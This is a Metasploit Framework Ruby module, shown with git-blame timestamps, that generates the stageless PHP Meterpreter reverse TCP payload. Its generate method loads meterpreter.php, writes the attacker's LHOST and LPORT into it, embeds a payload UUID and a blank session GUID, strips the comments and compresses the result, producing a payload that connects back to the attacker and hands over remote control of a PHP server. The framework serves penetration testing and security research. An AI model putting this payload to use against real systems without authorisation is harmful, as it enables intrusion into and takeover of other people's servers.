2010-06-16 16:55:05 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-06-16 16:55:05 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core/handler/reverse_tcp'
|
2015-05-20 06:50:00 +00:00
|
|
|
require 'msf/core/payload/php/reverse_tcp'
|
2010-06-16 16:55:05 +00:00
|
|
|
require 'msf/base/sessions/meterpreter_php'
|
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2017-10-24 04:04:02 +00:00
|
|
|
CachedSize = 30096
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
2015-05-20 06:50:00 +00:00
|
|
|
include Msf::Payload::Php::ReverseTcp
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Sessions::MeterpreterOptions
|
2010-06-16 16:55:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PHP Meterpreter, Reverse TCP Inline',
|
|
|
|
'Description' => 'Connect back to attacker and spawn a Meterpreter server (PHP)',
|
|
|
|
'Author' => ['egypt'],
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_Php_Php))
|
|
|
|
end
|
2010-06-16 16:55:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def generate
|
2015-08-27 16:23:34 +00:00
|
|
|
met = MetasploitPayloads.read('meterpreter', 'meterpreter.php')
|
2015-05-18 07:40:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
|
|
|
|
met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
|
2013-04-26 20:22:15 +00:00
|
|
|
|
2015-05-20 06:25:52 +00:00
|
|
|
uuid = generate_payload_uuid
|
2015-05-18 07:40:48 +00:00
|
|
|
bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
|
2017-02-02 23:57:03 +00:00
|
|
|
met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|)
|
2015-05-18 07:40:48 +00:00
|
|
|
|
2017-06-05 10:20:42 +00:00
|
|
|
# Stageless payloads need to have a blank session GUID
|
|
|
|
session_guid = '\x00' * 16
|
|
|
|
met = met.sub(%q|"SESSION_GUID", ""|, %Q|"SESSION_GUID", "#{session_guid}"|)
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
met.gsub!(/#.*$/, '')
|
|
|
|
met = Rex::Text.compress(met)
|
|
|
|
met
|
|
|
|
end
|
2010-06-16 16:55:05 +00:00
|
|
|
end
|